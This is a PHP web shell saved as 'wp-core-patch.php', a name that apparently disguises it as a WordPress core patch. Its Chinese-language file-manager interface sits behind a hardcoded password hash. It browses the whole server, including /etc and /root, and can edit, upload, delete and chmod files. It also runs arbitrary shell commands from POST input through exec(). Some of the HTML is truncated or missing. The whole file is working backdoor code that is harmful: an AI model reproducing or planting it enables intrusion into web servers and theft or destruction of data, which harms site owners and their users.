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Editing: wp-core-patch.php

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<?php
class FileManager {
    private $current_path;
    private $base_path;
    private $project_root;
    private $users;

public function __construct($base_path = null) {
        session_start();

$this->users = array(
            'ace' => 'b658107302696d179015f53746f08360'
        );

if (!$this->isLoggedIn() && !$this->isLoginPage()) {
            $this->showLoginPage();
            exit;
        }

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['login'])) {
            $username = 'ace';
            $password = $_POST['password'] ?? '';
            if ($this->login($username, $password)) {
                header('Location: ' . $_SERVER['PHP_SELF']);
                exit;
            } else {
                $this->showLoginPage('Pass error！');
                exit;
            }
        }

if (isset($_GET['action']) && $_GET['action'] === 'logout') {
            $this->logout();
        }

$this->base_path = '/';
        $this->project_root = dirname($_SERVER['DOCUMENT_ROOT'] . $_SERVER['PHP_SELF']);
        $this->current_path = $this->project_root;

$requested_path = isset($_GET['path']) ? $_GET['path'] : '';
        if ($requested_path) {
            $requested_full_path = realpath($requested_path);
            if ($requested_full_path && is_dir($requested_full_path)) {
                $this->current_path = $requested_full_path;
            }
        }
    }

private function isLoginPage() {
        return !$this->isLoggedIn() && ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['login']));
    }

public function isLoggedIn() {
        return isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true;
    }

public function login($username, $password) {
        $encrypted_password = md5(md5($password));

if (isset($this->users[$username]) && $this->users[$username] === $encrypted_password) {
            $_SESSION['loggedin'] = true;
            $_SESSION['username'] = $username;
            $_SESSION['login_time'] = time();
            return true;
        }
        return false;
    }

public function logout() {
        session_destroy();
        header('Location: ' . $_SERVER['PHP_SELF']);
        exit;
    }

public function getUsername() {
        return isset($_SESSION['username']) ? $_SESSION['username'] : '未知用户';
    }

private function showLoginPage($error = '') {
        ?>
        <!DOCTYPE html>
        <html lang="zh-CN">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>ace</title>
            <style>
                *{margin:0;padding:0;box-sizing:border-box}
                body{font-family:Arial,sans-serif;background:#f5f5f5;height:100vh;display:flex;align-items:center;justify-content:center}
                .login-container{background:white;padding:30px;border-radius:8px;box-shadow:0 2px 10px rgba(0,0,0,0.1);width:100%;max-width:350px}
                .login-header{text-align:center;margin-bottom:20px}
                .login-header h1{color:#333;margin-bottom:10px;font-size:24px}
                .form-group{margin-bottom:15px}
                .form-group label{display:block;margin-bottom:5px;color:#333;font-weight:500}
                .form-control{width:100%;padding:10px;border:1px solid #ddd;border-radius:4px;font-size:14px}
                .form-control:focus{outline:none;border-color:#3498db}
                .btn{width:100%;padding:10px;border:none;border-radius:4px;font-size:14px;cursor:pointer}
                .btn-primary{background:#3498db;color:white}
                .btn-primary:hover{background:#2980b9}
                .error-message{background:#f8d7da;color:#721c24;padding:8px;border-radius:4px;margin-bottom:15px;text-align:center;font-size:14px}
            </style>
        </head>
        <body>
        <div class="login-container">
            <div class="login-header">
                <h1></h1>
            </div>

<?php if ($error): ?>
                <div class="error-message"><?php echo htmlspecialchars($error); ?></div>
            <?php endif; ?>

<button type="submit" class="btn btn-primary">Go</button>
            </form>
        </div>
        </body>
        </html>
        <?php
    }

private function getPermissions($filepath) {
        if (!file_exists($filepath)) return '---------';

$perms = fileperms($filepath);

if (($perms & 0xC000) == 0xC000) $info = 's';
        elseif (($perms & 0xA000) == 0xA000) $info = 'l';
        elseif (($perms & 0x8000) == 0x8000) $info = '-';
        elseif (($perms & 0x6000) == 0x6000) $info = 'b';
        elseif (($perms & 0x4000) == 0x4000) $info = 'd';
        elseif (($perms & 0x2000) == 0x2000) $info = 'c';
        elseif (($perms & 0x1000) == 0x1000) $info = 'p';
        else $info = 'u';

$info .= (($perms & 0x0100) ? 'r' : '-');
        $info .= (($perms & 0x0080) ? 'w' : '-');
        $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
        $info .= (($perms & 0x0020) ? 'r' : '-');
        $info .= (($perms & 0x0010) ? 'w' : '-');
        $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
        $info .= (($perms & 0x0004) ? 'r' : '-');
        $info .= (($perms & 0x0002) ? 'w' : '-');
        $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));

return $info;
    }

private function getNumericPermissions($filepath) {
        if (!file_exists($filepath)) return '0000';

$perms = fileperms($filepath);
        return substr(sprintf('%o', $perms), -4);
    }

private function formatSize($size) {
        if (!$size) return '';
        $units = array('B', 'KB', 'MB', 'GB', 'TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) {
            $size /= 1024;
        }
        return round($size, 2) . ' ' . $units[$i];
    }

public function getDirectoryContents() {
        $contents = array();

if (!is_dir($this->current_path)) {
            return $contents;
        }

$parent_path = dirname($this->current_path);
        if ($parent_path && $parent_path !== $this->current_path) {
            $contents[] = array(
                'name' => '..',
                'type' => 'directory',
                'path' => $parent_path,
                'size' => '',
                'modified' => '',
                'permissions' => '',
                'numeric_permissions' => ''
            );
        }

try {
            $items = scandir($this->current_path);
            foreach ($items as $item) {
                if ($item == '.' || $item == '..') continue;

$full_path = $this->current_path . DIRECTORY_SEPARATOR . $item;

$is_dir = is_dir($full_path);

$size = '';
                $modified = '';
                $permissions = '';
                $numeric_permissions = '';

if (file_exists($full_path)) {
                    $size = $is_dir ? '' : $this->formatSize(filesize($full_path));
                    $modified = date('Y-m-d H:i:s', filemtime($full_path));
                    $permissions = $this->getPermissions($full_path);
                    $numeric_permissions = $this->getNumericPermissions($full_path);
                }

$contents[] = array(
                    'name' => $item,
                    'type' => $is_dir ? 'directory' : 'file',
                    'path' => $full_path,
                    'size' => $size,
                    'modified' => $modified,
                    'permissions' => $permissions,
                    'numeric_permissions' => $numeric_permissions
                );
            }
        } catch (Exception $e) {
        }

return $contents;
    }

public function readFile($filepath) {
        if (!file_exists($filepath) || is_dir($filepath)) {
            throw new Exception("文件不存在或是目录");
        }

if (!is_readable($filepath)) {
            throw new Exception("没有读取权限");
        }

$file_size = filesize($filepath);
        if ($file_size > 10 * 1024 * 1024) {
            throw new Exception("文件过大，无法编辑");
        }

$content = file_get_contents($filepath);
        if ($content === false) {
            throw new Exception("无法读取文件");
        }

return $content;
    }

public function writeFile($filepath, $content) {
        if (is_dir($filepath)) {
            throw new Exception("不能编辑目录");
        }

if (!is_writable($filepath)) {
            throw new Exception("没有写入权限");
        }

if (file_put_contents($filepath, $content) === false) {
            throw new Exception("无法写入文件");
        }

return true;
    }

private function handleFileUpload() {
        if (!isset($_FILES['upload_files']) || empty($_FILES['upload_files']['name'][0])) {
            throw new Exception("请选择要上传的文件");
        }

$uploaded_files = $_FILES['upload_files'];
        $total_files = count($uploaded_files['name']);
        $success_count = 0;
        $error_messages = array();

if (!is_writable($this->current_path)) {
            throw new Exception("当前目录没有写入权限");
        }

for ($i = 0; $i < $total_files; $i++) {
            if ($uploaded_files['error'][$i] !== UPLOAD_ERR_OK) {
                $error_messages[] = "文件 '{$uploaded_files['name'][$i]}' 上传失败 (错误代码: {$uploaded_files['error'][$i]})";
                continue;
            }

$filename = basename($uploaded_files['name'][$i]);
            $target_path = $this->current_path . DIRECTORY_SEPARATOR . $filename;

// 如果文件已存在，添加序号
            $counter = 1;
            $original_name = pathinfo($filename, PATHINFO_FILENAME);
            $extension = pathinfo($filename, PATHINFO_EXTENSION);

while (file_exists($target_path)) {
                $filename = $original_name . '_' . $counter . ($extension ? '.' . $extension : '');
                $target_path = $this->current_path . DIRECTORY_SEPARATOR . $filename;
                $counter++;
            }

if (move_uploaded_file($uploaded_files['tmp_name'][$i], $target_path)) {
                $success_count++;
            } else {
                $error_messages[] = "文件 '{$uploaded_files['name'][$i]}' 移动失败";
            }
        }

$message = "成功上传 {$success_count} 个文件";
        if (!empty($error_messages)) {
            $message .= "，失败 " . count($error_messages) . " 个文件：" . implode('；', $error_messages);
        }

return $message;
    }

public function handleActions() {
        $message = '';
        $message_type = 'success';

if (isset($_POST['action'])) {
            try {
                switch ($_POST['action']) {
                    case 'upload_file':
                        $message = $this->handleFileUpload();
                        break;

case 'create_file':
                        $filename = $_POST['filename'];
                        if ($filename) {
                            $full_path = $this->current_path . DIRECTORY_SEPARATOR . $filename;
                            if (file_put_contents($full_path, '') !== false) {
                                $message = "文件创建成功";
                            } else {
                                throw new Exception("无法创建文件");
                            }
                        }
                        break;

case 'create_directory':
                        $dirname = $_POST['dirname'];
                        if ($dirname) {
                            $full_path = $this->current_path . DIRECTORY_SEPARATOR . $dirname;
                            if (mkdir($full_path)) {
                                $message = "目录创建成功";
                            } else {
                                throw new Exception("无法创建目录");
                            }
                        }
                        break;

case 'delete':
                        $target = $_POST['target'];
                        if ($target) {
                            if (is_dir($target)) {
                                if ($this->deleteDirectory($target)) {
                                    $message = "目录删除成功";
                                } else {
                                    throw new Exception("无法删除目录");
                                }
                            } else {
                                if (unlink($target)) {
                                    $message = "文件删除成功";
                                } else {
                                    throw new Exception("无法删除文件");
                                }
                            }
                        }
                        break;

case 'rename':
                        $old_path = $_POST['old_path'];
                        $new_name = $_POST['new_name'];
                        if ($old_path && $new_name) {
                            $new_path = dirname($old_path) . DIRECTORY_SEPARATOR . $new_name;
                            if (rename($old_path, $new_path)) {
                                $message = "重命名成功";
                            } else {
                                throw new Exception("无法重命名");
                            }
                        }
                        break;

case 'edit_file':
                        $filepath = $_POST['filepath'];
                        $content = $_POST['content'];
                        if ($filepath) {
                            if ($this->writeFile($filepath, $content)) {
                                $message = "文件保存成功";
                            } else {
                                throw new Exception("无法保存文件");
                            }
                        }
                        break;

case 'change_permissions':
                        $target = $_POST['target'];
                        $permissions = $_POST['permissions'];
                        if ($target && $permissions) {
                            if (!preg_match('/^0?[0-7]{3}$/', $permissions)) {
                                throw new Exception("权限格式错误");
                            }
                            $permissions = octdec($permissions);
                            if (chmod($target, $permissions)) {
                                $message = "权限修改成功";
                            } else {
                                throw new Exception("无法修改权限");
                            }
                        }
                        break;

case 'execute_command':
                        $command = $_POST['command'];
                        if ($command) {
                            $output = array();
                            $return_code = 0;
                            exec("cd " . escapeshellarg($this->current_path) . " && " . $command . " 2>&1", $output, $return_code);
                            $_SESSION['command_output'] = array(
                                'command' => $command,
                                'output' => $output,
                                'return_code' => $return_code
                            );
                        }
                        break;
                }
            } catch (Exception $e) {
                $message = $e->getMessage();
                $message_type = 'error';
            }
        }

return array('message' => $message, 'type' => $message_type);
    }

private function deleteDirectory($dir) {
        if (!is_dir($dir)) return false;

$items = scandir($dir);
        foreach ($items as $item) {
            if ($item == '.' || $item == '..') continue;

$path = $dir . DIRECTORY_SEPARATOR . $item;
            if (is_dir($path)) {
                $this->deleteDirectory($path);
            } else {
                unlink($path);
            }
        }

return rmdir($dir);
    }

public function render() {
        if (!$this->isLoggedIn()) {
            $this->showLoginPage();
            return;
        }

$action_result = $this->handleActions();
        $contents = $this->getDirectoryContents();

$command_output = isset($_SESSION['command_output']) ? $_SESSION['command_output'] : null;
        if ($command_output) {
            unset($_SESSION['command_output']);
        }

$editing_file = isset($_GET['edit']) ? $_GET['edit'] : null;
        $file_content = '';
        $file_info = array();

if ($editing_file) {
            try {
                $file_content = $this->readFile($editing_file);
                $file_info = array(
                    'name' => basename($editing_file),
                    'path' => $editing_file,
                    'size' => $this->formatSize(filesize($editing_file)),
                    'modified' => date('Y-m-d H:i:s', filemtime($editing_file)),
                    'permissions' => $this->getPermissions($editing_file),
                    'numeric_permissions' => $this->getNumericPermissions($editing_file)
                );
            } catch (Exception $e) {
                $action_result = array(
                    'message' => $e->getMessage(),
                    'type' => 'error'
                );
                $editing_file = null;
            }
        }

?>
        <!DOCTYPE html>
        <html lang="zh-CN">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>ace</title>
            <style>
                *{margin:0;padding:0;box-sizing:border-box}
                body{font-family:Arial,sans-serif;line-height:1.6;color:#333;background:#f5f5f5}
                .container{max-width:1400px;margin:0 auto;background:white;box-shadow:0 2px 5px rgba(0,0,0,0.1);min-height:100vh}
                .header{background:#2c3e50;color:white;padding:15px 20px;display:flex;justify-content:space-between;align-items:center}
                .header-info h1{margin-bottom:5px;font-size:20px}
                .user-info{text-align:right;font-size:14px}
                .user-info .username{font-weight:bold;color:#3498db}
                .logout-btn{background:#e74c3c;color:white;border:none;padding:6px 12px;border-radius:3px;cursor:pointer;text-decoration:none;display:inline-block;margin-top:3px;font-size:12px}
                .logout-btn:hover{background:#c0392b}
                .current-path{background:#34495e;padding:8px 20px;font-family:monospace;word-break:break-all;color:#ecf0f1;font-size:13px}
                .navigation{background:#ecf0f1;padding:12px 20px;border-bottom:1px solid #bdc3c7}
                .nav-buttons{display:flex;gap:8px;flex-wrap:wrap;margin-bottom:8px}
                .btn{padding:6px 12px;border:none;border-radius:3px;cursor:pointer;text-decoration:none;display:inline-block;font-size:13px}
                .btn-primary{background:#3498db;color:white}
                .btn-primary:hover{background:#2980b9}
                .btn-success{background:#27ae60;color:white}
                .btn-warning{background:#f39c12;color:white}
                .btn-info{background:#17a2b8;color:white}
                .btn-danger{background:#e74c3c;color:white}
                .btn-project{background:#9b59b6;color:white}
                .btn-project:hover{background:#8e44ad}
                .btn-upload{background:#1abc9c;color:white}
                .btn-upload:hover{background:#16a085}
                .message{padding:8px 12px;margin:8px 0;border-radius:3px;font-size:13px}
                .message.success{background:#d4edda;color:#155724;border:1px solid #c3e6cb}
                .message.error{background:#f8d7da;color:#721c24;border:1px solid #f5c6cb}
                .file-table{width:100%;border-collapse:collapse;font-size:13px}
                .file-table th,.file-table td{padding:8px 10px;text-align:left;border-bottom:1px solid #ecf0f1}
                .file-table th{background:#34495e;color:white;font-weight:600}
                .file-table tr:hover{background:#f8f9fa}
                .file-name{font-weight:500}
                .directory{color:#3498db}
                .file{color:#2c3e50}
                .file-actions{display:flex;gap:3px}
                .action-btn{padding:3px 6px;font-size:11px;border:none;border-radius:2px;cursor:pointer;text-decoration:none;display:inline-block}
                .modal{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.5);z-index:1000}
                .modal-content{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);background:white;padding:20px;border-radius:5px;min-width:350px;max-width:90%;max-height:90vh;overflow-y:auto}
                .modal h3{margin-bottom:15px;color:#2c3e50;font-size:16px}
                .form-group{margin-bottom:12px}
                .form-group label{display:block;margin-bottom:3px;font-weight:500;font-size:13px}
                .form-control{width:100%;padding:6px 8px;border:1px solid #bdc3c7;border-radius:3px;font-size:13px}
                .form-control-small{width:100px}
                textarea.form-control{min-height:250px;font-family:monospace;resize:vertical;font-size:12px}
                .command-output{background:#2c3e50;color:#ecf0f1;padding:10px;border-radius:3px;font-family:monospace;white-space:pre-wrap;max-height:200px;overflow-y:auto;margin-top:8px;font-size:12px}
                .file-info{background:#f8f9fa;padding:12px;border-radius:3px;margin-bottom:12px;border-left:4px solid #3498db;font-size:13px}
                .file-info-item{margin-bottom:3px}
                .editor-actions{display:flex;gap:8px;justify-content:flex-end;margin-top:12px;padding-top:12px;border-top:1px solid #ecf0f1}
                .content-area{padding:15px}
                .path-navigation{margin-bottom:10px;font-size:12px;color:#666}
                .path-navigation a{color:#3498db;text-decoration:none}
                .path-navigation a:hover{text-decoration:underline}
                .quick-links{margin-bottom:15px;padding:10px;background:#e8f4fd;border-radius:3px}
                .quick-links h4{margin-bottom:8px;color:#2c3e50;font-size:14px}
                .quick-link-btn{display:inline-block;padding:4px 8px;margin:2px;background:#3498db;color:white;text-decoration:none;border-radius:2px;font-size:11px}
                .quick-link-btn:hover{background:#2980b9}
                .quick-link-project{background:#9b59b6}
                .quick-link-project:hover{background:#8e44ad}
                .upload-container{margin-bottom:15px;padding:15px;background:#e8f4fd;border-radius:5px;border:2px dashed #3498db}
                .upload-container h4{margin-bottom:10px;color:#2c3e50;font-size:14px}
                .upload-form{display:flex;gap:10px;align-items:center}
                .file-input{flex:1}
                .progress-bar{width:100%;height:4px;background:#ecf0f1;border-radius:2px;margin-top:10px;overflow:hidden}
                .progress-fill{height:100%;background:#27ae60;transition:width 0.3s}
                .file-list{margin-top:10px;max-height:150px;overflow-y:auto;border:1px solid #ddd;border-radius:3px;padding:5px;background:#f9f9f9}
                .file-item{padding:3px 5px;border-bottom:1px solid #eee;font-size:12px}
                .file-item:last-child{border-bottom:none}
                .file-name-text{display:inline-block;max-width:70%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
                .file-size{float:right;color:#666}
                .drag-drop-text{text-align:center;color:#666;font-size:12px;padding:10px}
            </style>
        </head>
        <body>
        <div class="container">
            <div class="header">
                <div class="header-info">
                    <div>服务器根目录: <?php echo htmlspecialchars(realpath('/') ?: '/'); ?></div>
                    <div>当前项目根目录: <?php echo htmlspecialchars($this->project_root); ?></div>
                </div>
                <div class="user-info">
                    <div>用户: <span class="username"><?php echo htmlspecialchars($this->getUsername()); ?></span></div>
                    <a href="?action=logout" class="logout-btn">退出</a>
                </div>
            </div>

<div class="current-path">当前路径: <?php echo htmlspecialchars($this->current_path); ?></div>

<div class="navigation">
                <div class="nav-buttons">
                    <button class="btn btn-primary" onclick="showModal('createFileModal')">新建文件</button>
                    <button class="btn btn-primary" onclick="showModal('createDirModal')">新建文件夹</button>
                    <button class="btn btn-upload" onclick="showModal('uploadModal')">批量上传</button>
                    <button class="btn btn-warning" onclick="showModal('commandModal')">执行命令</button>
                    <button class="btn btn-success" onclick="location.reload()">刷新</button>
                    <a href="?path=/" class="btn btn-info">服务器根目录</a>
                    <a href="?path=<?php echo urlencode($this->project_root); ?>" class="btn btn-project">当前项目</a>
                    <a href="?path=/home" class="btn btn-info">Home</a>
                    <a href="?path=/var/www" class="btn btn-info">Web</a>
                    <a href="?path=/etc" class="btn btn-info">配置</a>
                    <?php if ($editing_file): ?>
                        <a href="?" class="btn btn-info">返回列表</a>
                    <?php endif; ?>
                </div>

<?php if ($action_result['message']): ?>
                    <div class="message <?php echo $action_result['type']; ?>">
                        <?php echo htmlspecialchars($action_result['message']); ?>
                    </div>
                <?php endif; ?>
            </div>

<div class="editor-actions">
                            <a href="?" class="btn">取消</a>
                            <button type="submit" class="btn btn-primary">保存</button>
                        </div>
                    </form>
                <?php else: ?>
                    <div class="upload-container" id="dropArea">
                        <h4>批量上传文件 (支持拖放):</h4>
                        <form method="POST" enctype="multipart/form-data" id="uploadForm">
                            <input type="hidden" name="action" value="upload_file">
                            <div class="upload-form">
                                <input type="file" name="upload_files[]" id="upload_files" class="form-control file-input" multiple required>
                                <button type="submit" class="btn btn-upload">开始上传</button>
                            </div>
                            <div class="drag-drop-text">或拖放文件到此区域</div>
                        </form>
                        <div class="file-list" id="fileList">
                            <div style="text-align:center;color:#999;padding:20px">未选择文件</div>
                        </div>
                        <div class="progress-bar">
                            <div class="progress-fill" id="uploadProgress" style="width:0%"></div>
                        </div>
                    </div>

<div class="quick-links">
                        <h4>快速导航:</h4>
                        <a href="?path=/" class="quick-link-btn">/ (服务器根目录)</a>
                        <a href="?path=<?php echo urlencode($this->project_root); ?>" class="quick-link-btn quick-link-project">当前项目根目录</a>
                        <a href="?path=/home" class="quick-link-btn">/home</a>
                        <a href="?path=/var" class="quick-link-btn">/var</a>
                        <a href="?path=/var/www" class="quick-link-btn">/var/www</a>
                        <a href="?path=/etc" class="quick-link-btn">/etc</a>
                        <a href="?path=/tmp" class="quick-link-btn">/tmp</a>
                        <a href="?path=/usr" class="quick-link-btn">/usr</a>
                        <a href="?path=/opt" class="quick-link-btn">/opt</a>
                        <a href="?path=/root" class="quick-link-btn">/root</a>
                    </div>

<div class="path-navigation">
                        <?php
                        $path_parts = explode(DIRECTORY_SEPARATOR, $this->current_path);
                        $current_path = '';
                        echo '<a href="?path=/">/</a>';
                        foreach ($path_parts as $part) {
                            if (!$part) continue;
                            $current_path .= ($current_path ? DIRECTORY_SEPARATOR : '') . $part;
                            echo ' / <a href="?path=' . urlencode($current_path) . '">' . htmlspecialchars($part) . '</a>';
                        }
                        ?>
                    </div>

<div style="overflow-x:auto;">
                        <table class="file-table">
                            <thead>
                            <tr>
                                <th>名称</th>
                                <th>类型</th>
                                <th>大小</th>
                                <th>修改时间</th>
                                <th>权限</th>
                                <th>操作</th>
                            </tr>
                            </thead>
                            <tbody>
                            <?php foreach ($contents as $item): ?>
                                <tr>
                                    <td class="file-name">
                                        <?php if ($item['type'] === 'directory'): ?>
                                            <a href="?path=<?php echo urlencode($item['path']); ?>" class="directory">
                                                📁 <?php echo htmlspecialchars($item['name']); ?>
                                            </a>
                                        <?php else: ?>
                                            <span class="file">
                                            📄 <?php echo htmlspecialchars($item['name']); ?>
                                        </span>
                                        <?php endif; ?>
                                    </td>
                                    <td><?php echo $item['type'] === 'directory' ? '目录' : '文件'; ?></td>
                                    <td><?php echo htmlspecialchars($item['size']); ?></td>
                                    <td><?php echo htmlspecialchars($item['modified']); ?></td>
                                    <td>
                                        <?php echo htmlspecialchars($item['permissions']); ?>
                                        <br>
                                        <small style="color:#7f8c8d;">(<?php echo htmlspecialchars($item['numeric_permissions']); ?>)</small>
                                    </td>
                                    <td class="file-actions">
                                        <?php if ($item['name'] !== '..'): ?>
                                            <?php if ($item['type'] === 'file'): ?>
                                                <a href="?edit=<?php echo urlencode($item['path']); ?>" class="action-btn btn-info">编辑</a>
                                            <?php endif; ?>
                                            <button class="action-btn btn-primary" onclick="renameItem('<?php echo htmlspecialchars($item['path']); ?>', '<?php echo htmlspecialchars($item['name']); ?>')">重命名</button>
                                            <button class="action-btn btn-warning" onclick="changePermissions('<?php echo htmlspecialchars($item['path']); ?>', '<?php echo htmlspecialchars($item['numeric_permissions']); ?>')">权限</button>
                                            <form method="POST" style="display:inline;">
                                                <input type="hidden" name="action" value="delete">
                                                <input type="hidden" name="target" value="<?php echo htmlspecialchars($item['path']); ?>">
                                                <button type="submit" class="action-btn btn-danger" onclick="return confirm('删除 <?php echo htmlspecialchars($item['name']); ?>?')">删除</button>
                                            </form>
                                        <?php endif; ?>
                                    </td>
                                </tr>
                            <?php endforeach; ?>
                            </tbody>
                        </table>
                    </div>
                <?php endif; ?>
            </div>
        </div>

<div id="createDirModal" class="modal">
            <div class="modal-content">
                <h3>新建文件夹</h3>
                <form method="POST">
                    <input type="hidden" name="action" value="create_directory">
                    <div class="form-group">
                        <label for="dirname">文件夹名:</label>
                        <input type="text" id="dirname" name="dirname" class="form-control" required>
                    </div>
                    <div style="display:flex;gap:8px;justify-content:flex-end;">
                        <button type="button" class="btn" onclick="hideModal('createDirModal')">取消</button>
                        <button type="submit" class="btn btn-primary">创建</button>
                    </div>
                </form>
            </div>
        </div>

<div id="uploadModal" class="modal">
            <div class="modal-content">
                <h3>批量上传文件</h3>
                <form method="POST" enctype="multipart/form-data">
                    <input type="hidden" name="action" value="upload_file">
                    <div class="form-group">
                        <label for="upload_files_input">选择文件 (可多选):</label>
                        <input type="file" id="upload_files_input" name="upload_files[]" class="form-control" multiple required>
                        <small style="color:#7f8c8d;">按住Ctrl键可选择多个文件</small>
                    </div>
                    <div id="modalFileList" class="file-list" style="margin-top:10px;max-height:150px;">
                        <div style="text-align:center;color:#999;padding:20px">未选择文件</div>
                    </div>
                    <div style="display:flex;gap:8px;justify-content:flex-end;margin-top:12px;">
                        <button type="button" class="btn" onclick="hideModal('uploadModal')">取消</button>
                        <button type="submit" class="btn btn-primary">开始上传</button>
                    </div>
                </form>
            </div>
        </div>

<?php if ($command_output): ?>
                    <div class="command-output">
                        <strong>命令:</strong> <?php echo htmlspecialchars($command_output['command']); ?><br>
                        <strong>返回码:</strong> <?php echo $command_output['return_code']; ?><br><br>
                        <strong>输出:</strong><br>
                        <?php echo htmlspecialchars(implode("\n", $command_output['output'])); ?>
                    </div>
                <?php endif; ?>
            </div>
        </div>

// 显示选择的文件列表
            function updateFileList(inputId, listId) {
                const input = document.getElementById(inputId);
                const list = document.getElementById(listId);

input.addEventListener('change', function(e) {
                    const files = e.target.files;
                    if (files.length === 0) {
                        list.innerHTML = '<div style="text-align:center;color:#999;padding:20px">未选择文件</div>';
                        return;
                    }

let html = '';
                    let totalSize = 0;

for (let i = 0; i < files.length; i++) {
                        const file = files[i];
                        const size = formatFileSize(file.size);
                        totalSize += file.size;

html += `
                            <div class="file-item">
                                <span class="file-name-text" title="${file.name}">${file.name}</span>
                                <span class="file-size">${size}</span>
                            </div>
                        `;
                    }

html += `<div class="file-item" style="background:#f0f0f0;font-weight:bold">
                        <span>总计: ${files.length} 个文件</span>
                        <span class="file-size">${formatFileSize(totalSize)}</span>
                    </div>`;

list.innerHTML = html;
                });
            }

function formatFileSize(bytes) {
                if (bytes === 0) return '0 B';
                const k = 1024;
                const sizes = ['B', 'KB', 'MB', 'GB'];
                const i = Math.floor(Math.log(bytes) / Math.log(k));
                return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i];
            }

// 初始化文件列表显示
            updateFileList('upload_files', 'fileList');
            updateFileList('upload_files_input', 'modalFileList');

// 拖放功能
            const dropArea = document.getElementById('dropArea');
            const fileInput = document.getElementById('upload_files');

['dragenter', 'dragover', 'dragleave', 'drop'].forEach(eventName => {
                dropArea.addEventListener(eventName, preventDefaults, false);
            });

function preventDefaults(e) {
                e.preventDefault();
                e.stopPropagation();
            }

['dragenter', 'dragover'].forEach(eventName => {
                dropArea.addEventListener(eventName, highlight, false);
            });

['dragleave', 'drop'].forEach(eventName => {
                dropArea.addEventListener(eventName, unhighlight, false);
            });

function highlight(e) {
                dropArea.style.backgroundColor = '#d1ecf1';
                dropArea.style.borderColor = '#117a8b';
            }

function unhighlight(e) {
                dropArea.style.backgroundColor = '';
                dropArea.style.borderColor = '#3498db';
            }

dropArea.addEventListener('drop', handleDrop, false);

function handleDrop(e) {
                const dt = e.dataTransfer;
                const files = dt.files;
                fileInput.files = files;

const event = new Event('change', { bubbles: true });
                fileInput.dispatchEvent(event);
            }

// 上传文件进度模拟
            document.getElementById('uploadForm').addEventListener('submit', function(e) {
                const progressBar = document.getElementById('uploadProgress');
                const fileInput = document.getElementById('upload_files');

if (fileInput.files.length > 0) {
                    const fileCount = fileInput.files.length;
                    progressBar.style.width = '0%';

let progress = 0;
                    const interval = setInterval(() => {
                        progress += 100 / (fileCount * 10);
                        if (progress >= 100) {
                            progress = 100;
                            clearInterval(interval);
                        }
                        progressBar.style.width = progress + '%';
                    }, 200);
                }
            });
        </script>
        </body>
        </html>
        <?php
    }
}

$file_manager = new FileManager();
$file_manager->render();
?>

Editing: wp-core-patch.php

Upload Files

Create New

Change Permissions

Change Date

Rename Item

Confirm Delete